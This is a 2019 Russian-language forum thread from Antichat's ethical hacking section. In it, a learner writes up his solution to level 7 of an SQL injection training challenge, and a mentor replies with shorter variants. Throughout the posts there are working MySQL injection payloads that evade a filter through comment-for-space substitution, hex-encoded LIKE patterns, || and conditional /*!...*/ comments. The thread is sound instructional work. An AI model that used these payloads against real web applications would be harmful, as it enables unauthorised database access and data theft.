ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Этичный хакинг или пентестинг (https://forum.antichat.xyz/forumdisplay.php?f=209)
-   -   [7] Давайте учиться SQL-инъекциям вместе! (https://forum.antichat.xyz/showthread.php?t=568876)

iBragimoff 23.08.2019 21:04

Предыдущая статья - ссылочка
Следующая статья: Давайте учиться SQL-инъекциям вместе!
Ссылка на задание: SQL injection challenge

Усё, 7й таск решил. Давайте разбираться, что да как.

https://forum.antichat.xyz/attachmen...70ae66a46a.png

Так-с. Что мы имеем. Нам желают удачи и ещё мы знаем, что в столбце login есть подстрока gentoo.
Вдуплял минут 5, что значит подстрока, но потом понял, вот строка: gentoo023, а подстрока в ней gentoo, надеюсь понятно)
И ещё, теперь у нас фильтруются намного больше символов, чем в прошлом задании.

Для начала составим запрос без обхода экранирования символов.

-1 union SELECT * FROM users WHERE login LIKE '%gentoo%'

Давайте разбирать. У нас в запросе новый оператор LIKE, данный оператор позволяет искать текст по шаблону.
LIKE '%gentoo%', знак % значит любое количество символов: 321gentoo421, в данном случае под % попадают числа 321 и 421.
Вроде бы с запросом разобрались, давайте его преобразовывать.

У нас в запросе присутствуют пробелы и в задании они фильтруются, обходим их таким способом: вместо пробела ставим - /**/

-1/**/union/**/SELECT/**/*/**/FROM/**/users/**/WHERE/**/login/**/LIKE/**/'%gentoo%'#

Теперь давайте преобразуем наш "поиск по шаблону", то есть: '%gentoo%', переводим его в hex(text to hex)
Внимание: переводим в hex формат без апострофов(одинарных кавычек).

%gentoo% - 25 67 65 6e 74 6f 6f 25 - 0x2567656e746f6f25

Заменим шаблон в запросе:

-1/**/union/**/SELECT/**/*/**/FROM/**/users/**/WHERE/**/login/**/LIKE/**/0x2567656e746f6f25#

Готово. Отправляем запрос и получаем доступ к следующему заданию.

Подсказка для следующего задания от нашего сэнсэя explorer`a: blind sql injection, гуглим, ищем, читаем, учимся.

explorer 23.08.2019 23:05

Поздравляю! Прогресс виден. Видно, что человек учится.
Есть решение покороче:
-1/**/or/**/login/**/like/**/0x2567656e746f6f25#
или так
/*!-1/**/or/**/login/**/like/**/0x2567656e746f6f25*/

Следующий уровень интереснее, и уже сложнее - за один запрос решить не получится.

iBragimoff 23.08.2019 23:18

Цитата:


explorer сказал(а):

Поздравляю! Прогресс виден. Видно, что человек учится.
Есть решение покороче:
-1/**/or/**/login/**/like/**/0x2567656e746f6f25#
или так
/*!-1/**/or/**/login/**/like/**/0x2567656e746f6f25*/

Следующий уровень интереснее, и уже сложнее - за один запрос решить не получится.


Спасибо) Даа. Следующий уровень кардинально отличается от других. Пока, что единственный способ, который я вижу это перебор ложью и истинной, пожалуй поищу ещё.

iBragimoff 23.08.2019 23:20

Цитата:


explorer сказал(а):

-1/**/or/**/login/**/like/**/0x2567656e746f6f25#


Ой. Не знал, что оператор LIKE можно использовать вместе с OR. Полезная информация!

explorer 23.08.2019 23:44

SQL-инъекции мне нравятся потому что большой простор для размышлений, всегда можно написать много вариантов во всех случаях.
Вот накидал решение ещё более интересное -1||login/*!like*/0x2567656e746f6f25#

iBragimoff 23.08.2019 23:55

Цитата:


explorer сказал(а):

-1||login/*!like*/0x2567656e746f6f25#


Интересный вариант решения. Только вот эту строку не могу понять - /*!like*/ . То есть отрицание like внутри комментария, не могу понять логику

explorer 24.08.2019 00:09

/*!*/ это условный комментарий в стиле СИ, никакого отрицания тут нет ) зато есть замена пробелу )
В сообщении выше, я уже давал код с примером этого комментария, посмотри внимательнее.

iBragimoff 24.08.2019 00:13

Цитата:


explorer сказал(а):

/*!*/ это условный комментарий в стиле СИ, никакого отрицания тут нет ) зато есть замена пробелу )
В сообщении выше, я уже давал код с примером этого комментария, посмотри внимательнее.


Ааа. Понял. Просто из уроков информатики помню, что знак ! означает отрицание)))

explorer 24.08.2019 00:19

Цитата:


iBragimoff сказал(а):

Ааа. Понял. Просто из уроков информатики помню, что знак ! означает отрицание)))


Не, в программирование !=это не равноЗдесь нет знака равно. В таких комментах Mysql обязательно выполнит код. Кроме замены пробела, можно использовать и как замена # в конце выражения, ибо шарп не всегда работает. Например написать так:
-1||login/*!like*//*!0x2567656e746f6f25*/

Лучше чем официальный ман конечно же ничего нет. Все функции, операторы и т.д. ищи там. Вот страничка про комменты в mysql
MySQL :: MySQL 5.7 Reference Manual :: 9.6 Comment Syntax

iBragimoff 24.08.2019 00:45

Цитата:


explorer сказал(а):

Не, в программирование !=это не равноЗдесь нет знака равно. В таких комментах Mysql обязательно выполнит код. Кроме замены пробела, можно использовать и как замена # в конце выражения, ибо шарп не всегда работает. Например написать так:
-1||login/*!like*//*!0x2567656e746f6f25*/

Спасибо за объяснение)


Время: 13:29